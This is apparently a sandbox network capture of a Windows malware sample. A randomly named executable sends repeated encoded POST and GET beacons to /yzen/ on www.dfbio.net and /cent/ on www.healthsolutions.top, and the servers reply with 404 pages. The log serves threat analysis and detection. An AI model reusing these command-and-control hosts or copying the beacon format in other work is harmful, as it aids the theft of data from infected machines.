Sep 9, 2024 10:44:03.225146055 CEST	1217	IN	Data Raw: c9 a1 d1 e1 e1 f0 39 0e aa c8 c3 9e b3 bd 43 fd 23 a2 a2 82 9e b3 6c a7 ac 9a 68 ab dd 52 38 98 db ae 64 79 1b aa a6 31 01 15 81 04 1e 41 43 3b 35 22 3e 68 3d a6 16 cc d6 4c 16 83 84 7f 06 35 91 54 94 ee c0 cb 56 5f 33 2d ce f4 59 60 16 97 8a 09 Data Ascii: 9C#lhR8dy1AC;5">h=L5TV_3-Y`MBjICJ\p=m`=,0NvuDyZA\)(B=)p $0'`HVZ\:, !pQd\|`\$&UY&ua;<AMNGD'\`X"c
Sep 9, 2024 10:44:03.225348949 CEST	1236	IN	HTTP/1.1 404 Not Found Server: wts/1.7.0 Date: Mon, 09 Sep 2024 08:44:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: private Content-Encoding: gzip Strict-Transport-Security: max-age=31536000 Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 [TRUNCATED] Data Ascii: 86cX{o{l(R$kH@$]($Bym18iG7<H&!Vvl7H+{Il-0E9w^}0_!:+^8?Db,as/dB!c1LG>X%#j5QM'lgB,O#JubyVB14IF7jV#QzD>'--'tIL..@HWff3aX%[-&uI,e:js(qW\Q~FFpE)EUD2DRcBgmj(VNqZNl'= ]M:j%SpzMkT4zTDfx(@J\|d%fW2LR6[Q5&2~j<LwH.S:0T7#3eKtZ-7R:l`$Ml(O!5%]h"`@u-f`TM)J((W)bJ-XEROxhLE$K5cAmq!~DVCU!1=3cB;,^Hu+C0Z,cx#]0Z60w}`Qp/RBjSDGO]m{Shp\|Z"@'"'<BdML[e-9\|@PzMW1w8$.X"f+0,!t1bV;sHg+gF`Q'SC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49298	218.247.68.184	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:44:04.527844906 CEST	732	OUT	POST /yzen/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.dfbio.net Origin: http://www.dfbio.net Referer: http://www.dfbio.net/yzen/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 44 2f 39 64 56 66 4a 59 76 71 39 47 43 44 34 47 55 43 6e 55 58 79 33 45 56 33 6a 30 37 36 70 69 66 76 6a 75 53 62 2f 74 63 58 75 55 6a 4d 68 62 2b 61 6d 30 64 70 74 65 65 62 31 55 31 52 41 63 46 76 36 57 7a 2b 64 67 56 6e 46 6f 33 56 61 38 64 71 64 71 6d 6f 43 6c 45 62 69 41 54 36 44 36 6b 72 2b 7a 45 6d 6b 44 34 65 59 69 4f 71 64 62 69 30 79 31 53 48 37 52 4a 61 75 57 38 52 77 39 62 6c 70 52 42 38 71 75 4b 74 33 35 4a 64 67 73 43 70 78 59 46 6b 79 54 4d 35 79 33 45 36 70 43 56 4d 31 69 33 79 34 6e 35 7a 30 4d 31 52 4b 58 57 4c 62 4b 47 39 64 47 33 50 71 47 72 71 59 6f 42 6e 63 52 43 39 69 39 78 72 63 54 56 78 58 39 33 2b 6c 6b 48 54 45 75 38 35 4f 69 Data Ascii: MHZDTHg=D/9dVfJYvq9GCD4GUCnUXy3EV3j076pifvjuSb/tcXuUjMhb+am0dpteeb1U1RAcFv6Wz+dgVnFo3Va8dqdqmoClEbiAT6D6kr+zEmkD4eYiOqdbi0y1SH7RJauW8Rw9blpRB8quKt35JdgsCpxYFkyTM5y3E6pCVM1i3y4n5z0M1RKXWLbKG9dG3PqGrqYoBncRC9i9xrcTVxX93+lkHTEu85Oi
Sep 9, 2024 10:44:05.499183893 CEST	1236	IN	HTTP/1.1 404 Not Found Server: wts/1.7.0 Date: Mon, 09 Sep 2024 08:44:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: private Content-Encoding: gzip Strict-Transport-Security: max-age=31536000 Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 [TRUNCATED] Data Ascii: 86cX{o{l(R$kH@$]($Bym18iG7<H&!Vvl7H+{Il-0E9w^}0_!:+^8?Db,as/dB!c1LG>X%#j5QM'lgB,O#JubyVB14IF7jV#QzD>'--'tIL..@HWff3aX%[-&uI,e:js(qW\Q~FFpE)EUD2DRcBgmj(VNqZNl'= ]M:j%SpzMkT4zTDfx(@J\|d%fW2LR6[Q5&2~j<LwH.S:0T7#3eKtZ-7R:l`$Ml(O!5%]h"`@u-f`TM)J((W)bJ-XEROxhLE$K5cAmq!~DVCU!1=3cB;,^Hu+C0Z,cx#]0Z60w}`Qp/RBjSDGO]m{Shp\|Z"@'"'<BdML[e-9\|@PzMW1w8$.X"f+0,!t1bV;sHg+gF`Q'SC
Sep 9, 2024 10:44:05.499214888 CEST	1217	IN	Data Raw: c9 a1 d1 e1 e1 f0 39 0e aa c8 c3 9e b3 bd 43 fd 23 a2 a2 82 9e b3 6c a7 ac 9a 68 ab dd 52 38 98 db ae 64 79 1b aa a6 31 01 15 81 04 1e 41 43 3b 35 22 3e 68 3d a6 16 cc d6 4c 16 83 84 7f 06 35 91 54 94 ee c0 cb 56 5f 33 2d ce f4 59 60 16 97 8a 09 Data Ascii: 9C#lhR8dy1AC;5">h=L5TV_3-Y`MBjICJ\p=m`=,0NvuDyZA\)(B=)p $0'`HVZ\:, !pQd\|`\$&UY&ua;<AMNGD'\`X"c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49299	218.247.68.184	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:44:07.090302944 CEST	1749	OUT	POST /yzen/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.dfbio.net Origin: http://www.dfbio.net Referer: http://www.dfbio.net/yzen/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 44 2f 39 64 56 66 4a 59 76 71 39 47 43 44 34 47 55 43 6e 55 58 79 33 45 56 33 6a 30 37 36 70 69 66 76 6a 75 53 62 2f 74 63 58 6d 55 69 35 74 62 2b 35 2b 30 61 70 74 65 64 62 31 52 31 52 41 64 46 70 53 53 7a 2f 67 56 56 69 4a 6f 32 33 43 38 56 2b 70 71 39 59 43 6c 5a 72 69 46 58 36 43 69 6b 72 75 4a 45 6d 30 44 34 65 59 69 4f 76 5a 62 6c 6d 61 31 51 48 37 57 49 61 75 6b 78 78 77 56 62 6c 68 76 42 38 6d 2b 4c 64 58 35 49 39 51 73 41 38 74 59 59 55 79 52 50 35 7a 30 45 36 6c 52 56 49 56 66 33 78 6b 64 35 77 6b 4d 30 51 37 68 4f 4b 76 39 56 64 55 72 79 76 53 4b 78 2b 30 76 48 6c 55 2f 47 4e 61 4d 73 4c 49 41 55 33 54 6b 36 4c 4d 33 57 55 49 63 77 4d 2f 54 7a 57 57 78 59 39 33 43 6f 38 2f 2f 51 46 39 41 73 43 37 62 47 48 6a 45 67 52 36 66 6d 49 34 59 2f 62 79 48 6f 64 6e 72 2b 34 57 51 5a 78 6d 6d 74 77 41 52 67 33 46 33 78 2b 72 76 42 4a 58 64 55 73 71 6c 44 47 4b 4a 68 4b 38 35 48 67 6e 42 31 31 46 4f 37 35 68 7a 78 46 49 79 37 41 38 61 44 75 42 79 4f 30 76 6f 44 5a 6c 42 67 68 [TRUNCATED] Data Ascii: MHZDTHg=D/9dVfJYvq9GCD4GUCnUXy3EV3j076pifvjuSb/tcXmUi5tb+5+0aptedb1R1RAdFpSSz/gVViJo23C8V+pq9YClZriFX6CikruJEm0D4eYiOvZblma1QH7WIaukxxwVblhvB8m+LdX5I9QsA8tYYUyRP5z0E6lRVIVf3xkd5wkM0Q7hOKv9VdUryvSKx+0vHlU/GNaMsLIAU3Tk6LM3WUIcwM/TzWWxY93Co8//QF9AsC7bGHjEgR6fmI4Y/byHodnr+4WQZxmmtwARg3F3x+rvBJXdUsqlDGKJhK85HgnB11FO75hzxFIy7A8aDuByO0voDZlBghG/DoUNXZz3GsF4Gx8bsAKrMgexM7Onk06ZNe36bpFJg2N7z8SA1KdOE833g88eRF752qXmGPvOczVXxV+LryKc142JBGMQIu24fpkS5QnaCOvvp9uBZNPVj3+bkanKNHK7q9yVbHMlYzqM4IJkma0P/nE1UCA+nKtX2TlNXZIR7tOfSE+YTR1k6r2ny4ksWTbsFUOZWFiClZuloltZ0cIXYEC9XH7AymcYN97/GYpWLJFC3BHqOlo1zqc1L4hk7TFAQrwA+RhltV/VZMx5EVWmzj3veyKIXHtQcjfqGXhCqih487SZ28AVnZboZsUdSao5a9CLOB11YuKZzprXW2tfK52R1uiWRKH3WGCxwzKrpM9NAst58Zuc+T8SW32NSqBapwuovAzcKroyRex1AZYBYmnhczZYxSeFxjI2y5oRInmTcIz4P8cCbzbVwzYRBHwFuyS6XemMQvBgKglraKpf/GbhFvqaCsPxKsjJ/GHn4AMDOmAW1/QUEkQXnGbHT4Y9oIniUEFFZ635VJEdB406kh/Bsnbjdo34aY5c8qkEu/tT0PG9sY1y+cUtHfRAnVayUs8o6MDODYoq5MNHk2L59TWHEBN71SH2MKaP3YO5FfBS0T6dHTCV5vu0r5C21yUhp6MbtN2afsI/woGkkhyivs1CDKN8Dz3T [TRUNCATED]
Sep 9, 2024 10:44:08.473362923 CEST	1236	IN	HTTP/1.1 404 Not Found Server: wts/1.7.0 Date: Mon, 09 Sep 2024 08:44:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: private Content-Encoding: gzip Strict-Transport-Security: max-age=31536000 Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 [TRUNCATED] Data Ascii: 86cX{o{l(R$kH@$]($Bym18iG7<H&!Vvl7H+{Il-0E9w^}0_!:+^8?Db,as/dB!c1LG>X%#j5QM'lgB,O#JubyVB14IF7jV#QzD>'--'tIL..@HWff3aX%[-&uI,e:js(qW\Q~FFpE)EUD2DRcBgmj(VNqZNl'= ]M:j%SpzMkT4zTDfx(@J\|d%fW2LR6[Q5&2~j<LwH.S:0T7#3eKtZ-7R:l`$Ml(O!5%]h"`@u-f`TM)J((W)bJ-XEROxhLE$K5cAmq!~DVCU!1=3cB;,^Hu+C0Z,cx#]0Z60w}`Qp/RBjSDGO]m{Shp\|Z"@'"'<BdML[e-9\|@PzMW1w8$.X"f+0,!t1bV;sHg+gF`Q'SC
Sep 9, 2024 10:44:08.473392010 CEST	1217	IN	Data Raw: c9 a1 d1 e1 e1 f0 39 0e aa c8 c3 9e b3 bd 43 fd 23 a2 a2 82 9e b3 6c a7 ac 9a 68 ab dd 52 38 98 db ae 64 79 1b aa a6 31 01 15 81 04 1e 41 43 3b 35 22 3e 68 3d a6 16 cc d6 4c 16 83 84 7f 06 35 91 54 94 ee c0 cb 56 5f 33 2d ce f4 59 60 16 97 8a 09 Data Ascii: 9C#lhR8dy1AC;5">h=L5TV_3-Y`MBjICJ\p=m`=,0NvuDyZA\)(B=)p $0'`HVZ\:, !pQd\|`\$&UY&ua;<AMNGD'\`X"c
Sep 9, 2024 10:44:08.473627090 CEST	1236	IN	HTTP/1.1 404 Not Found Server: wts/1.7.0 Date: Mon, 09 Sep 2024 08:44:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: private Content-Encoding: gzip Strict-Transport-Security: max-age=31536000 Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 [TRUNCATED] Data Ascii: 86cX{o{l(R$kH@$]($Bym18iG7<H&!Vvl7H+{Il-0E9w^}0_!:+^8?Db,as/dB!c1LG>X%#j5QM'lgB,O#JubyVB14IF7jV#QzD>'--'tIL..@HWff3aX%[-&uI,e:js(qW\Q~FFpE)EUD2DRcBgmj(VNqZNl'= ]M:j%SpzMkT4zTDfx(@J\|d%fW2LR6[Q5&2~j<LwH.S:0T7#3eKtZ-7R:l`$Ml(O!5%]h"`@u-f`TM)J((W)bJ-XEROxhLE$K5cAmq!~DVCU!1=3cB;,^Hu+C0Z,cx#]0Z60w}`Qp/RBjSDGO]m{Shp\|Z"@'"'<BdML[e-9\|@PzMW1w8$.X"f+0,!t1bV;sHg+gF`Q'SC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49300	218.247.68.184	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:44:09.628391027 CEST	465	OUT	GET /yzen/?MHZDTHg=O9V9WpJA2Id3CQ8RbCyxNyy8YHr+x7luQNnrI8f3VjqE97lt7JSCdbE8JrYB0ARmCvuQ5PpqBCp66EiUa7dY4bjGHbWiFISykJbmA24D38d4U9gmj0KuNkWrH/Oj7BpqHw==&m8=721TkfhHN46HeBfP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.dfbio.net User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:44:10.610197067 CEST	1236	IN	HTTP/1.1 404 Not Found Server: wts/1.7.0 Date: Mon, 09 Sep 2024 08:44:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: private Strict-Transport-Security: max-age=31536000 Data Raw: 31 33 31 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 e8 af a6 e7 bb 86 e9 94 99 e8 af af 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a [TRUNCATED] Data Ascii: 1319<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 5px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;word-break:break-all;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;;margin:4px 0 8px -12px;_margin-top:0px; font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;
Sep 9, 2024 10:44:10.610253096 CEST	1236	IN	Data Raw: 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 20 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 6d 61 72 67 Data Ascii: color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdan
Sep 9, 2024 10:44:10.610266924 CEST	1236	IN	Data Raw: 63 6f 64 65 7b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 7d 20 0a 2e 63 6c 65 61 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 7d 20 0a 2e 70 72 65 Data Ascii: code{color:#CC0000;font-weight:bold;font-style:italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="content"> <div class=
Sep 9, 2024 10:44:10.610281944 CEST	1236	IN	Data Raw: 22 3e 20 0a 20 20 20 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 3e 20 0a 20 20 20 20 3c 74 72 20 63 6c 61 73 73 3d 22 61 6c 74 22 3e 3c 74 68 Data Ascii: "> <table border="0" cellpadding="0" cellspacing="0"> <tr class="alt"><th></th><td>   IIS Web Core</td></tr> <tr><th></th><td>   MapRequestHandler</td></tr> <tr class="alt"><th>
Sep 9, 2024 10:44:10.610292912 CEST	219	IN	Data Raw: b9 b6 e9 87 8d e6 96 b0 e5 b0 9d e8 af 95 e8 af b7 e6 b1 82 e3 80 82 20 0a 20 20 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 77 6c 69 6e 6b 2f 3f 4c 69 6e 6b 49 44 3d 36 32 32 Data Ascii: <p><a href="https://go.microsoft.com/fwlink/?LinkID=62293&IIS70Error=404,0,0x80070002,17763"> »</a></p> </fieldset> </div> </div> </body> </html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49301	13.248.169.48	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:44:16.067468882 CEST	742	OUT	POST /cent/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.healthsolutions.top Origin: http://www.healthsolutions.top Referer: http://www.healthsolutions.top/cent/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 6f 33 43 74 31 34 41 68 64 45 6d 58 34 41 37 32 32 4f 4a 61 65 38 55 65 6e 6a 72 34 57 37 4e 70 7a 2b 55 70 48 31 69 4e 62 70 36 77 4b 70 33 31 34 6d 56 44 4e 4e 38 61 74 76 39 52 4f 73 4d 52 45 30 4c 4d 42 37 55 4a 75 43 6f 38 62 48 6e 4f 52 4c 33 73 74 45 30 79 79 4c 44 66 33 34 4a 54 33 35 64 47 78 6d 4b 56 49 42 48 4b 45 70 7a 2f 51 43 31 53 47 43 53 5a 48 70 77 66 6c 6a 43 53 57 2b 4f 31 34 38 34 6a 4c 48 42 77 78 6d 4e 53 37 62 61 79 59 50 75 51 79 4b 79 55 53 38 4f 32 6b 6a 35 38 62 44 6e 7a 74 71 79 51 50 74 36 4c 4a 37 4b 69 57 6b 53 73 56 53 51 6d 63 61 69 69 36 2f 45 6f 41 38 59 3d Data Ascii: MHZDTHg=o3Ct14AhdEmX4A722OJae8Uenjr4W7Npz+UpH1iNbp6wKp314mVDNN8atv9ROsMRE0LMB7UJuCo8bHnORL3stE0yyLDf34JT35dGxmKVIBHKEpz/QC1SGCSZHpwfljCSW+O1484jLHBwxmNS7bayYPuQyKyUS8O2kj58bDnztqyQPt6LJ7KiWkSsVSQmcaii6/EoA8Y=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49302	13.248.169.48	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:44:18.641972065 CEST	762	OUT	POST /cent/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.healthsolutions.top Origin: http://www.healthsolutions.top Referer: http://www.healthsolutions.top/cent/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 6f 33 43 74 31 34 41 68 64 45 6d 58 35 68 4c 32 36 4e 68 61 5a 63 55 52 6f 44 72 34 44 4c 4e 74 7a 2b 51 70 48 31 4b 64 61 61 4f 77 45 72 2f 31 37 69 68 44 59 4e 38 61 6c 50 39 55 57 4d 4d 50 45 30 4f 35 42 2f 55 4a 75 44 49 